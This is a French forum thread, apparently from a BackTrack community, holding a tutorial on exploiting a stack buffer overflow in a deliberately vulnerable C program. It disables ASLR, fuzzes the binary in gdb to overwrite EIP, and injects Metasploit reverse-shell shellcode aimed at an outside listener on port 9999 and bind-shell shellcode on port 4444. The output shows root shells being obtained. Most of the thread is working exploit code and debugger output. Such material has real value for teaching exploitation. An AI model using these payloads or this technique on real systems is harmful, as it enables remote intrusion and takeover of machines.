|
||||
|
Voici tout d'abord un petit document à lire si vous ne savez pas ce que sait.
Dépassement de tampon - Wikipédia Pour commencer nous allons désactiver la "protection" contre les BOF du kernel en mettant 0 dans /proc/sys/kernel/randomize_va_space root@BT4-Nag:~# echo 0 > /proc/sys/kernel/randomize_va_space Encore un peu de doc. Address space layout randomization - Wikipédia Voici un programme C faillible avec la fonction strcpy Code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *string) {
char buffer|1024|;
strcpy(buffer, string);
return 1;
}
int main(int argc, char *argv||) {
bof(argv|1|);
printf("Done..\n");
return 1;
}
Compilation et test de notre programme Code:
root@BT4-Nag:~/shellcoding# gcc vuln.c -o vuln root@BT4-Nag:~/shellcoding# ./vuln 1 Done.. root@BT4-Nag:~/shellcoding# ./vuln `python -c "print 1200*'A'"` Segmentation fault Code:
root@BT4-Nag:~/shellcoding# gdb ./vuln (gdb) run `python -c "print 1024*'A'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/shellcoding/vuln `python -c "print 1024*'A'"` Done.. Program exited with code 01. Code:
run `python -c "print 1032*'A'"` Starting program: /root/shellcoding/vuln `python -c "print 1032*'A'"` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Code:
(gdb) run `python -c "print 1028*'A'+4*'B'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/shellcoding/vuln `python -c "print 1028*'A'+4*'B'"` Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () Code:
(gdb) i r eax 0x1 1 ecx 0xbfffec87 -1073746809 edx 0x425 1061 ebx 0xb7fcaff4 -1208176652 esp 0xbffff090 0xbffff090 ebp 0x42424242 0x42424242 esi 0x8048470 134513776 edi 0x8048340 134513472 eip 0x42424242 0x42424242 eflags 0x210246 | PF ZF IF RF ID | cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) OK notre EIP a bien été écrasée par nos "B". EIP signifie "Extended Instruction Pointer", c'est donc l'endroit qui contient l'adresse de la prochaine instruction qui va être executée. Nous devrons donc écraser notre EIP non pas par des B mais par une adresse de retour se trouvant avant notre shellcode. Mais qu'est qu'un shellcode. Un shellcode est un programme que l'on va inclure dans notre buffer et qui va faire ce qu'on lui aura demandé, en l'occurence ouvrir un shell pour cette exemple. On va utiliser un shellcode tout près fourni par metasploit pour cet exemple. Code:
Linux IA32 Reverse Shell linux_ia32_reverse - LHOST=100.100.10.10 LPORT=9999 Size=96 Encoder=PexFnstenvSub http://metasploit.com unsigned char scode|| = "\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93\xf6\x45\xb7\x83\xeb\xfc\xe2\xf4\xa2\x2d\x16\xf4\xc0\x9c\x47\xdd\xf5\xae\xcc\x56\x5e\x76\xd6\xee\x23\xc9\x88\x37\xda\x8f\xbc\xec\xc9\x9e\xd0\x32\x8a\xae\x23\xdf\xb4\xf9\x06\xd1\xc0\x7f\xa4\x07\xf5\xa6\x14\xe4\x1a\x17\x06\x7a\x13\xa4\x2d\x98\xbc\x85\x2d\xdf\xbc\x94\x2c\xd9\x1a\x15\x17\xe4\x1a\x17\xf5\xbc\x5e\x76\x45\xb7" Code:
(gdb) run `python -c "print 600*'A'+332*'\x90'+96*'B'+4*'C'"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/shellcoding/vuln `python -c "print 600*'A'+332*'\x90'+96*'B'+4*'C'"` Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? () Code:
(gdb) i r eax 0x1 1 ecx 0xbfffeca7 -1073746777 edx 0x409 1033 ebx 0xb7fcaff4 -1208176652 esp 0xbffff0b0 0xbffff0b0 ebp 0x42424242 0x42424242 esi 0x8048470 134513776 edi 0x8048340 134513472 eip 0x43434343 0x43434343 eflags 0x210246 | PF ZF IF RF ID | cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Code:
(gdb) x/2000xb $esp .... 0xbffff620: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff628: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff630: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 .... 0xbffff678: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff680: 0x90 0x90 0x42 0x42 0x42 0x42 0x42 0x42 0xbffff688: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 .... 0xbffff6d8: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xbffff6e0: 0x42 0x42 0x43 0x43 0x43 0x43 0x00 0x4d 0xbffff628 va devenir \x28\xf6\xff\xbf et remplacera nos 4*C. On va également remplacer nos 96*'B' par notre shellcode, ce qui nous donnera le script suivant. Avant de lancer notre script, on va lancer un netcat en écoute sur le port 9999. Code:
root@BT4-Nag:~/shellcoding# nc -lvvp 9999 listening on |any] 9999 ... Code:
(gdb) run `python -c "print 620*'A'+324*'\x90'+'\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93\xf6\x45\xb7\x83\xeb\xfc\xe2\xf4\xa2\x2d\x16\xf4\xc0\x9c\x47\xdd\xf5\xae\xcc\x56\x5e\x76\xd6\xee\x23\xc9\x88\x37\xda\x8f\xbc\xec\xc9\x9e\xd0\x32\x8a\xae\x23\xdf\xb4\xf9\x06\xd1\xc0\x7f\xa4\x07\xf5\xa6\x14\xe4\x1a\x17\x06\x7a\x13\xa4\x2d\x98\xbc\x85\x2d\xdf\xbc\x94\x2c\xd9\x1a\x15\x17\xe4\x1a\x17\xf5\xbc\x5e\x76\x45\xb7'+'\x58\xf6\xff\xbf'"` Starting program: /root/shellcoding/vuln `python -c "print 620*'A'+324*'\x90'+'\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x93\xf6\x45\xb7\x83\xeb\xfc\xe2\xf4\xa2\x2d\x16\xf4\xc0\x9c\x47\xdd\xf5\xae\xcc\x56\x5e\x76\xd6\xee\x23\xc9\x88\x37\xda\x8f\xbc\xec\xc9\x9e\xd0\x32\x8a\xae\x23\xdf\xb4\xf9\x06\xd1\xc0\x7f\xa4\x07\xf5\xa6\x14\xe4\x1a\x17\x06\x7a\x13\xa4\x2d\x98\xbc\x85\x2d\xdf\xbc\x94\x2c\xd9\x1a\x15\x17\xe4\x1a\x17\xf5\xbc\x5e\x76\x45\xb7'+'\x58\xf6\xff\xbf'"` Executing new program: /bin/bash (no debugging symbols found) (no debugging symbols found) ![]() Code:
root@BT4-Nag:~/shellcoding# nc -lvvp 9999 listening on |any| 9999 ... 100.100.10.10: inverse host lookup failed: Unknown server error : Connection timed out connect to |100.100.10.10] from (UNKNOWN) |100.100.10.10| 42485 whoami root id uid=0(root) gid=0(root) groups=0(root)
__________________
http://backtrack-fr.net |
|
||||
|
On va faire la même chose mais avec un bindshell et en perl
. On sait maintenant comment fuzzer notre application donc on va juste récuperer la taille du bindshell.Code:
linux_ia32_bind - LPORT=4444 Size=84 Encoder=None http://metasploit.com unsigned char scode|| = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" "\x89\xe1\xcd\x80"; Code:
run `perl -e 'print "A"x620,"\x90"x324,"B"x84,"C"x4'` Starting program: /root/shellcoding/vuln `perl -e 'print "A"x620,"\x90"x324,"B"x84,"C"x4'` Program received signal SIGSEGV, Segmentation fault. 0x43434343 in ?? () Code:
(gdb) i r eax 0x1 1 ecx 0xbfffeca7 -1073746777 edx 0x409 1033 ebx 0xb7fcaff4 -1208176652 esp 0xbffff0b0 0xbffff0b0 ebp 0x42424242 0x42424242 esi 0x8048470 134513776 edi 0x8048340 134513472 eip 0x43434343 0x43434343 eflags 0x210246 | PF ZF IF RF ID | cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 Code:
(gdb) x/2000xb $esp 0xbffff648: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff650: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff658: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbffff660: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 ... 0xbffff6d8: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0xbffff6e0: 0x43 0x43 0x43 0x42 0x42 0x42 0x42 0x00 0xbffff6e8: 0x4d 0x41 0x4e 0x50 0x41 0x54 0x48 0x3d Code:
run `perl -e 'print "A"x620,"\x90"x324,"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x58\xf6\xff\xbf"'` Starting program: /root/shellcoding/vuln `perl -e 'print "A"x620,"\x90"x324,"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x58\xf6\xff\xbf"'` Executing new program: /bin/bash (no debugging symbols found) (no debugging symbols found) Code:
root@BT4-Nag:~# nc localhost 4444 whoami root id uid=0(root) gid=0(root) groups=0(root)
__________________
http://backtrack-fr.net Last edited by Nagual; 09-15-2009 at 04:04 PM. |
|
|||
|
Merci pour ce tuto m'ayant beaucoup éclairci, ça fait un moment que je rassemble de la doc la dessus. C'est un sujet vraiment intéressant, un de mes objectifs étant de faire tourner mon propre shellcode, mais bon me manque de la pratique et du temps pour ça.
Quote:
On aurai jamais vu apparaître de homebrews sur la wii ou de downgrade psp sans BOF par exemple. |
|
|||
|
j'ai essayé ce tuto mais j'obtient ceci com resultat, qqun pourait me dire ou sa coince svp?
Code:
(gdb) run `python -c "print 1032*'A'"` Starting program: /home/na3/test `python -c "print 1032*'A'"` *** stack smashing detected ***: /home/na3/test terminated ======= Backtrace: ========= /lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7e786d8] /lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7e78690] /home/na3/test[0x804849f] /home/na3/test[0x8048400] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 08:05 4172085 /home/na3/test 08049000-0804a000 r--p 00000000 08:05 4172085 /home/na3/test 0804a000-0804b000 rw-p 00001000 08:05 4172085 /home/na3/test 0912a000-0914b000 rw-p 0912a000 00:00 0 [heap] b7d6f000-b7d7c000 r-xp 00000000 08:05 18391102 /lib/libgcc_s.so.1 b7d7c000-b7d7d000 r--p 0000c000 08:05 18391102 /lib/libgcc_s.so.1 b7d7d000-b7d7e000 rw-p 0000d000 08:05 18391102 /lib/libgcc_s.so.1 b7d7e000-b7ed6000 r-xp 00000000 08:05 18400739 /lib/tls/i686/cmov/libc-2.8.90.so b7ed6000-b7ed8000 r--p 00158000 08:05 18400739 /lib/tls/i686/cmov/libc-2.8.90.so b7ed8000-b7ed9000 rw-p 0015a000 08:05 18400739 /lib/tls/i686/cmov/libc-2.8.90.so b7ed9000-b7edc000 rw-p b7ed9000 00:00 0 b7eef000-b7ef1000 rw-p b7eef000 00:00 0 b7ef1000-b7f0b000 r-xp 00000000 08:05 18391060 /lib/ld-2.8.90.so b7f0b000-b7f0c000 rw-p b7f0b000 00:00 0 b7f0c000-b7f0d000 r--p 0001a000 08:05 18391060 /lib/ld-2.8.90.so b7f0d000-b7f0e000 rw-p 0001b000 08:05 18391060 /lib/ld-2.8.90.so bf8f9000-bf90e000 rw-p bffeb000 00:00 0 [stack] ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso] Program received signal SIGABRT, Aborted. 0xffffe424 in __kernel_vsyscall () (gdb) |
|
||||
|
Merci pour ce tuto très intéressant.
__________________
autodidacte chevronné "Oui, je suis un criminel. Mon crime est celui de la curiosité. Mon crime est celui de juger les gens par ce qu'ils pensent et disent, pas selon leur apparence. Mon crime est de vous surpasser, quelque chose que vous ne me pardonnerez jamais." The Mentor, The Conscience of a Hacker, 1986.phrack n°7 |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|